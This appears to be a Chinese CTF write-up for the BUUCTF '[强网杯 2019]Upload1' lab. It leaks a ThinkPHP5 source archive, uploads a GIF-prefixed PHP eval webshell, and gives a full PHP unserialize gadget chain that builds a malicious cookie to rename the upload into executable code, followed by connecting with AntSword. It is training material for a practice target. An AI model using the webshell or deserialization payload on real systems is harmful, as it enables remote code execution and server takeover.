当前位置: 首页 > article >正文

62,【2】 BUUCTF WEB [强网杯 2019]Upload1

进入靶场

此处考点不是SQL,就正常注册并登录进去

先随便传一个

进行目录扫描,我先用爆破代替

先随便后面写个文件名

为了提供payload位置

www.tar.gz真的存在

返回浏览器修改url就自动下载了

看到tp5,应该是ThinkPHP5框架

参考此博客的思路方法c[强网杯 2019]Upload-CSDN博客

发现application

发现

断点

判断有没有注册

断点

看到login_check想到反序列化

都在提示我们用cookie传序列化字符串

上传部分也注意一下

<?php
// 命名空间声明
namespace app\web\controller;

// 引入 think\Controller 类
use think\Controller;

class Profile extends Controller
{
    // 定义类属性
    public $checker;
    public $filename_tmp;
    public $filename;
    public $upload_menu;
    public $ext;
    public $img;
    public $except;

    // 构造函数
    public function __construct()
    {
        // 创建 Index 类的实例作为检查器
        $this->checker = new Index();
        // 使用客户端的 IP 地址生成一个唯一的上传目录名(通过 MD5 哈希)
        $this->upload_menu = md5($_SERVER['REMOTE_ADDR']);
        // 尝试切换到上级目录下的 public/upload 目录
        @chdir("../public/upload");
        // 如果该目录不存在,则创建该目录
        if (!is_dir($this->upload_menu)) {
            @mkdir($this->upload_menu);
        }
        // 切换到生成的上传目录
        @chdir($this->upload_menu);
    }

    // 处理图片上传的方法
    public function upload_img()
    {
        // 检查是否有检查器实例
        if ($this->checker) {
            // 调用检查器的 login_check 方法检查用户是否登录,如果未登录重定向到首页
            if (!$this->checker->login_check()) {
                $curr_url = "http://". $_SERVER['HTTP_HOST']. $_SERVER['SCRIPT_NAME']. "/index";
                $this->redirect($curr_url, 302);
                exit();
            }
        }
        // 检查是否有文件上传
        if (!empty($_FILES)) {
            // 获取上传文件的临时存储路径
            $this->filename_tmp = $_FILES['upload_file']['tmp_name'];
            // 将上传文件的名称进行 MD5 哈希并添加.png 后缀
            $this->filename = md5($_FILES['upload_file']['name']). ".png";
            // 调用文件扩展名检查方法
            $this->ext_check();
        }
        // 如果文件扩展名通过检查
        if ($this->ext) {
            // 检查文件是否为图片
            if (getimagesize($this->filename_tmp)) {
                // 将临时文件复制到最终存储位置
                @copy($this->filename_tmp, $this->filename);
                // 删除临时文件
                @unlink($this->filename_tmp);
                // 存储图片的完整路径
                $this->img = "../upload/$this->upload_menu/$this->filename";
                // 调用更新图片信息的方法
                $this->update_img();
            } else {
                // 如果文件不是图片,显示错误信息并重定向到首页
                $this->error('Forbidden type!', url('../index'));
            }
        } else {
            // 如果文件扩展名不通过检查,显示错误信息并重定向到首页
            $this->error('Unknow file type!', url('../index'));
        }
    }

    // 更新用户头像信息到数据库和 cookie 的方法
    public function update_img()
    {
        // 从数据库中查找用户信息
        $user_info = db('user')->where("ID", $this->checker->profile['ID'])->find();
        // 如果用户没有头像且存在新上传的头像
        if (empty($user_info['img']) && $this->img) {
            // 将头像信息更新到数据库中
            if (db('user')->where('ID', $user_info['ID'])->data(["img" => addslashes($this->img)])->update()) {
                // 更新 cookie 中的用户信息
                $this->update_cookie();
                // 显示成功信息并跳转到主页
                $this->success('Upload img successful!', url('../home'));
            } else {
                // 如果更新失败,显示错误信息并跳转到首页
                $this->error('Upload file failed!', url('../index'));
            }
        }
    }

    // 更新 cookie 中的用户信息
    public function update_cookie()
    {
        // 将头像信息更新到检查器的 profile 信息中
        $this->checker->profile['img'] = $this->img;
        // 将序列化并 base64 编码后的用户信息存储到 cookie 中,有效期 1 小时
        cookie("user", base64_encode(serialize($this->checker->profile)), 3600);
    }

    // 检查文件扩展名的方法
    public function ext_check()
    {
        // 将文件名按点分割,取最后一部分作为扩展名
        $ext_arr = explode(".", $this->filename);
        $this->ext = end($ext_arr);
        // 如果扩展名是 png,返回 1,否则返回 0
        if ($this->ext == "png") {
            return 1;
        } else {
            return 0;
        }
    }

    // 魔术方法 __get,用于获取不存在的属性
    public function __get($name)
    {
        return $this->except[$name];
    }

    // 魔术方法 __call,用于调用不存在的方法
    public function __call($name, $arguments)
    {
        if ($this->{$name}) {
            $this->{$this->{$name}}($arguments);
        }
    }
}

传个木马GIF89a<?php @eval($_POST['attack']);?>

得到图片路径

<img src="../upload/5e6f2693d111128ec4f1d7336f65b87f/956f92ddc6f28ffb49090277e0b57cf7.png" height="30" width="30">

<?php

namespace app\web\controller;
error_reporting(0);
class Profile
{
    public $checker;
    public $filename_tmp;
    public $filename;
    public $upload_menu;
    public $ext;
    public $img;
    public $except;


    public function __get($name)
    {
        return $this->except[$name];
    }

    public function __call($name, $arguments)
    {
        if($this->{$name}){
            $this->{$this->{$name}}($arguments);
        }
    }

}

class Register
{
    public $checker;
    public $registed;

    public function __destruct()
    {
        if(!$this->registed){
            $this->checker->index();
        }
    }

}

$profile = new Profile();
$profile->except = ['index' => 'img'];
$profile->img = "upload_img";
$profile->ext = "png";
$profile->filename_tmp = "./upload/5e6f2693d111128ec4f1d7336f65b87f/956f92ddc6f28ffb49090277e0b57cf7.png";
$profile->filename = "./upload/5e6f2693d111128ec4f1d7336f65b87f/956f92ddc6f28ffb49090277e0b57cf7.png";

$register = new Register();
$register->registed = false;
$register->checker = $profile;

echo urlencode(base64_encode(serialize($register)));

将代码运行赋值给cookie,并用蚁剑连接,就可得到flag


http://www.kler.cn/a/514181.html

相关文章:

  • 【Vim Masterclass 笔记22】S09L40 + L41:同步练习11:Vim 的配置与 vimrc 文件的相关操作(含点评课内容)
  • Android SystemUI——CarSystemBar车载状态栏(九)
  • 软件授权产品介绍
  • uniapp(小程序、app、微信公众号、H5)预览下载文件(pdf)
  • SDL2:Android APP编译使用 -- SDL2多媒体库使用音频实例
  • Python----Python高级(文件操作open,os模块对于文件操作,shutil模块 )
  • 422. 有效的单词方块
  • 在stm32中C语言编写的程序中,一个整形数据是怎么存储的,高位在前还是低位在前
  • Qt按钮美化教程
  • 高频交易中 FPGA 的作用及面试指南
  • 小红书用户作品列表 API 系列,返回值说明
  • Go CSP并发模型
  • python md5加密
  • 《AI赋能光追:开启图形渲染新时代》
  • 3.1 Go函数调用过程
  • 论文+AI赋能教育:探索变革路径与创新实践。包括word和pdf格式。
  • 校园二手交易平台小程序设计与实现(LW+源码+讲解)
  • Vue.js 组件开发:打造高效、可维护的前端架构
  • web前端3--css
  • Java设计模式 五 建造者模式 (Builder Pattern)
  • Redis实训:社交关注关系存储任务
  • OneData体系架构详解
  • react中hooks之 React 19 新 Hooks useActionState useFormStatus用法总结
  • js重要知识点
  • MySQL入门(数据库、数据表、数据、字段的操作以及查询相关sql语法)
  • SQL中字符串截取函数(substring)